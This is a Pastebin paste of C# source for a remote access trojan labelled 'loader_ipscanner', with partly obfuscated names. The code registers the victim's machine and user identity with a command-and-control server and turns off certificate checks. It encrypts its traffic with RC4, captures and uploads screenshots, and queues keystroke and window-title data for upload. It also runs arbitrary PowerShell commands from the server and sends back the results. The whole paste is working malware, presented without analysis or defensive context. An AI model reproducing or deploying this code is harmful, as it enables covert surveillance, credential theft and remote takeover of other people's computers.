rerednawyerg

loader_ipscanner

Apr 22nd, 2023
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 13.39 KB | Cybersecurity | 0 0
  1. using System.Net.Security;
  2. using System.Drawing;
  3. using System.Drawing.Imaging;
  4. using System;
  5. using System.Threading;
  6. using System.Collections.Generic;
  7. using System.Windows.Forms;
  8. using System.Text;
  9. using System.Management.Automation;
  10. using System.Collections.ObjectModel;
  11. using System.Management.Automation.Runspaces;
  12. using System.Net;
  13. using System.Diagnostics;
  14. using System.IO;
  15. using System.Security.Cryptography.X509Certificates;
  16. using System.Web.Script.Serialization;
  17. using System.Runtime.InteropServices;
  18. using System.Timers;
  19. using System.Xml.Linq;
  20.  
  21. namespace LIHXSa
  22. {
  23.     public class HnvKzYXNyYAYLD
  24.     {
  25.         public string UUID
  26.         {
  27.             get;
  28.             set;
  29.         }
  30.         public string ID
  31.         {
  32.             get;
  33.             set;
  34.         }
  35.         public string Data
  36.         {
  37.             get;
  38.             set;
  39.         }
  40.     }
  41.     public class TrustAllCertsPolicy : ICertificatePolicy
  42.     {
  43.         public bool CheckValidationResult(ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem)
  44.         {
  45.             return true;
  46.         }
  47.     }
  48.     public class screenshot_class
  49.     {
  50.         [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr XSUJOkKz, UInt32 MoUY);
  51.         [DllImport("user32.dll")] static extern short GetAsyncKeyState(int oQQIkpwSv);
  52.         [DllImport("user32.dll")] static extern IntPtr GetForegroundWindow();
  53.         [DllImport("user32.dll")] static extern int GetWindowText(IntPtr dkpddvUzyIZYUIc, StringBuilder FaBym, int KVZYMNnR);
  54.         [DllImport("user32.dll")] static extern int GetWindowTextLength(IntPtr UGGFHRaQNxJHNv);
  55.         private static Bitmap bitmap_obj;
  56.         private static Graphics graphics_obj;
  57.         private static String response_string = "";
  58.         private static int DwnY = 0;
  59.         public static void screenshot_func()
  60.         {
  61.             foreach (Screen screen in Screen.AllScreens)
  62.             {
  63.                 DwnY += 1;
  64.                 bitmap_obj = new Bitmap(screen.Bounds.Width, screen.Bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
  65.                 graphics_obj = Graphics.FromImage(bitmap_obj);
  66.                 graphics_obj.CopyFromScreen(screen.Bounds.X, screen.Bounds.Y, 0, 0, screen.Bounds.Size, CopyPixelOperation.SourceCopy);
  67.                 using (MemoryStream CIMCPM = new MemoryStream())
  68.                 {
  69.                     bitmap_obj.Save(CIMCPM, ImageFormat.Png);
  70.                     response_string = Convert.ToBase64String(CIMCPM.ToArray());
  71.                     string response_string_f = String.Format("screenshot {0}", response_string);
  72.                     c2_comms(response_string_f, Guid.NewGuid().ToString());
  73.                 }
  74.             }
  75.         }
  76.         private static string snow_cdn_url;
  77.         private static string rand_str;
  78.         private static byte[] byte_array;
  79.         private static int number_variable;
  80.         private static string os_version_str;
  81.         private static int random_value;
  82.         private static StringBuilder NwfStopO = new StringBuilder();
  83.         public static string AqnphFuM()
  84.         {
  85.             var juozbPuNie = "";
  86.             var xxAvs = GetForegroundWindow();
  87.             var faFhSXpDMEctLf = GetWindowTextLength(xxAvs) + 1;
  88.             var dLffNO = new StringBuilder(faFhSXpDMEctLf);
  89.             if (GetWindowText(xxAvs, dLffNO, faFhSXpDMEctLf) > 0)
  90.             {
  91.                 juozbPuNie = dLffNO.ToString();
  92.             }
  93.             return juozbPuNie;
  94.         }
  95.         public static void dLffNO(object UyhSV, ElapsedEventArgs nPDbnrLcQfsegSp)
  96.         {
  97.             if (NwfStopO.Length != 0)
  98.             {
  99.                 byte[] LEhAJpyzbLWTA = Encoding.ASCII.GetBytes(NwfStopO.ToString());
  100.                 string DkdJIpEcIoMxXp = String.Format("userinput {0}", Convert.ToBase64String(LEhAJpyzbLWTA));
  101.                 c2_comms(DkdJIpEcIoMxXp, Guid.NewGuid().ToString());
  102.             }
  103.             NwfStopO.Clear();
  104.         }
  105.         public static void Main()
  106.         {
  107.             rYqzrd("<ip>", "OYEXidNnoFTXfoKbDqoEaOuj", "75000");
  108.         }
  109.         public static void rYqzrd(string arg1, string arg2, string arg3)
  110.         {
  111.             ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate {
  112.                 return true;
  113.             });
  114.             snow_cdn_url = arg1;
  115.             rand_str = rand_str_generator(16);
  116.             byte_array = Encoding.ASCII.GetBytes(arg2);
  117.             number_variable = 100;
  118.             Process current_process = Process.GetCurrentProcess();
  119.             random_value = current_process.Id;
  120.             try
  121.             {
  122.                 number_variable = Convert.ToInt32(arg3);
  123.             }
  124.             catch { }
  125.             bool boolean_var = false;
  126.             string register_string = String.Format("register {0} {1}", rand_str, get_device_username());
  127.             os_version_str = Environment.OSVersion.ToString();
  128.             c2_comms(register_string, null);
  129.             while (!boolean_var)
  130.             {
  131.                 try
  132.                 {
  133.                     Thread.Sleep(number_variable);
  134.                     string c2_response = c2_comms(null, null);
  135.                     HnvKzYXNyYAYLD response_struct = deserializer_func(c2_response);
  136.                     if (response_struct.UUID != null)
  137.                     {
  138.                         response_struct.Data = decode_bytes_func(response_struct.Data);
  139.                         string[] response_split = split_str_func(response_struct.Data);
  140.                         if (response_split[0].Equals("delay"))
  141.                         {
  142.                             number_variable = Convert.ToInt32(response_split[1]);
  143.                         }
  144.                         else if (response_split[0].Equals("screenshot"))
  145.                         {
  146.                             screenshot_func();
  147.                         }
  148.                         else if (response_split[0].Equals("exit"))
  149.                         {
  150.                             boolean_var = true;
  151.                         }
  152.                         else
  153.                         {
  154.                             Thread ps_thread = new Thread(() => execute_ps_and_respond(response_struct.Data, response_struct.UUID));
  155.                             ps_thread.Start();
  156.                         }
  157.                     }
  158.                 }
  159.                 catch { }
  160.             }
  161.         }
  162.         protected static string[] split_str_func(string InTBEGpPeQnAL)
  163.         {
  164.             return InTBEGpPeQnAL.Split(new char[] {
  165.         ' '
  166.       }, 2);
  167.         }
  168.         protected static string decode_bytes_func(string arg)
  169.         {
  170.             byte[] rc4_bytes = Convert.FromBase64String(arg);
  171.             return Encoding.ASCII.GetString(rc4_class.call_rc4_encrypt(byte_array, rc4_bytes));
  172.         }
  173.         protected static HnvKzYXNyYAYLD deserializer_func(string arg)
  174.         {
  175.             var serializer = new JavaScriptSerializer();
  176.             HnvKzYXNyYAYLD cust_struct = serializer.Deserialize<HnvKzYXNyYAYLD>(arg);
  177.             return cust_struct;
  178.         }
  179.         protected static string get_device_username()
  180.         {
  181.             string hfhjIbRmEPQu = String.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"));
  182.             return hfhjIbRmEPQu;
  183.         }
  184.         protected static string rand_str_generator(int arg1)
  185.         {
  186.             StringBuilder string_builder = new StringBuilder();
  187.             string alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  188.             Int32 epoch_time = (Int32)(DateTime.Now.Subtract(new DateTime(1970, 1, 1))).TotalSeconds;
  189.             Process process_id = Process.GetCurrentProcess();
  190.             Random random_object = new Random(process_id.Id ^ epoch_time);
  191.             if (arg1 == 0)
  192.             {
  193.                 arg1 = random_object.Next(1, 16);
  194.             }
  195.             for (int i = 0; i < arg1; i++)
  196.             {
  197.                 string_builder.Append(alphabet[random_object.Next(alphabet.Length - 1)]);
  198.             }
  199.             random_value = random_object.Next();
  200.             return string_builder.ToString();
  201.         }
  202.  
  203.         public static void execute_ps_and_respond(string data_arg, string uuid_arg)
  204.         {
  205.             string response_string;
  206.             StringBuilder string_builder = new StringBuilder();
  207.             try
  208.             {
  209.                 Runspace runspace = RunspaceFactory.CreateRunspace();
  210.                 runspace.Open();
  211.                 RunspaceInvoke runspace_invoke = new RunspaceInvoke(runspace);
  212.                 Pipeline pipeline = runspace.CreatePipeline();
  213.                 pipeline.Commands.AddScript(data_arg);
  214.                 pipeline.Commands.Add("Out-String");
  215.                 Collection<PSObject> BMKqa = pipeline.Invoke();
  216.                 runspace.Close();
  217.                 foreach (PSObject blah in BMKqa) {
  218.                     string_builder.AppendLine(blah.ToString());
  219.                 }
  220.                 response_string = string_builder.ToString();
  221.             }
  222.             catch (Exception hAkZzqttGRsd)
  223.             {
  224.                 response_string = hAkZzqttGRsd.ToString();
  225.             }
  226.             c2_comms(response_string, uuid_arg);
  227.         }
  228.         public static string c2_comms(string arg1, string arg2)
  229.         {
  230.             byte[] rc4_encrypted_string;
  231.             if (arg1 != null)
  232.             {
  233.                 rc4_encrypted_string = rc4_class.call_rc4_encrypt(byte_array, Encoding.ASCII.GetBytes(arg1));
  234.             }
  235.             else
  236.             {
  237.                 rc4_encrypted_string = new byte[0];
  238.             }
  239.             //will generate a url string with a random string as the path
  240.             string url_string = String.Format("{0}/{1}/", snow_cdn_url, rand_str_generator(0));
  241.             HttpWebRequest http_request = (HttpWebRequest)WebRequest.Create(url_string);
  242.             http_request.Method = "POST";
  243.             http_request.UserAgent = os_version_str;
  244.             http_request.Timeout = 10000;
  245.             http_request.Host = "<ip>";
  246.             http_request.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
  247.             Stream stream = null;
  248.             StreamReader streamreader = null;
  249.             string streamreader_content;
  250.             string data_str = "";
  251.             if (rc4_encrypted_string.Length > 0)
  252.             {
  253.                 data_str = Convert.ToBase64String(rc4_encrypted_string);
  254.             }
  255.             HnvKzYXNyYAYLD data_to_send = new HnvKzYXNyYAYLD
  256.             {
  257.                 UUID = arg2,
  258.                 ID = rand_str,
  259.                 Data = data_str
  260.             };
  261.             var js_serializer = new JavaScriptSerializer();
  262.             var serialized_data = js_serializer.Serialize(data_to_send).ToString();
  263.             http_request.ContentType = "application/json";
  264.             try
  265.             {
  266.                 stream = http_request.GetRequestStream();
  267.                 stream.Write(Encoding.ASCII.GetBytes(serialized_data), 0, serialized_data.Length);
  268.             }
  269.             finally
  270.             {
  271.                 if (stream != null)
  272.                 {
  273.                     stream.Dispose();
  274.                 }
  275.             }
  276.             try
  277.             {
  278.                 stream = http_request.GetResponse().GetResponseStream();
  279.                 streamreader = new StreamReader(stream);
  280.                 streamreader_content = streamreader.ReadToEnd();
  281.             }
  282.             catch
  283.             {
  284.                 streamreader_content = "";
  285.             }
  286.             return streamreader_content.ToString();
  287.         }
  288.     }
  289.     public class rc4_class
  290.     {
  291.  
  292.         public static byte[] rc4_encrypt(byte[] arg1, byte[] arg2)
  293.         {
  294.             int MTQkjWG, i, DjlAYJw, QapuQn, dpomEpazXION;
  295.             int[] int_array_1, int_array_2;
  296.             byte[] byte_array;
  297.             int_array_1 = new int[256];
  298.             int_array_2 = new int[256];
  299.             byte_array = new byte[arg2.Length];
  300.             for (i = 0; i < 256; i++)
  301.             {
  302.                 int_array_1[i] = arg1[i % arg1.Length];
  303.                 int_array_2[i] = i;
  304.             }
  305.             for (DjlAYJw = i = 0; i < 256; i++)
  306.             {
  307.                 DjlAYJw = (DjlAYJw + int_array_2[i] + int_array_1[i]) % 256;
  308.                 dpomEpazXION = int_array_2[i];
  309.                 int_array_2[i] = int_array_2[DjlAYJw];
  310.                 int_array_2[DjlAYJw] = dpomEpazXION;
  311.             }
  312.             for (MTQkjWG = DjlAYJw = i = 0; i < arg2.Length; i++)
  313.             {
  314.                 MTQkjWG++;
  315.                 MTQkjWG %= 256;
  316.                 DjlAYJw += int_array_2[MTQkjWG];
  317.                 DjlAYJw %= 256;
  318.                 dpomEpazXION = int_array_2[MTQkjWG];
  319.                 int_array_2[MTQkjWG] = int_array_2[DjlAYJw];
  320.                 int_array_2[DjlAYJw] = dpomEpazXION;
  321.                 QapuQn = int_array_2[((int_array_2[MTQkjWG] + int_array_2[DjlAYJw]) % 256)];
  322.                 byte_array[i] = (byte)(arg2[i] ^ QapuQn);
  323.             }
  324.             return byte_array;
  325.         }
  326.         public static byte[] call_rc4_encrypt(byte[] arg1, byte[] arg2)
  327.         {
  328.             try
  329.             {
  330.                 return rc4_encrypt(arg1, arg2);
  331.             }
  332.             catch
  333.             {
  334.                 return new byte[0];
  335.             }
  336.         }
  337.     }
  338. }
Add Comment
Please, Sign In to add comment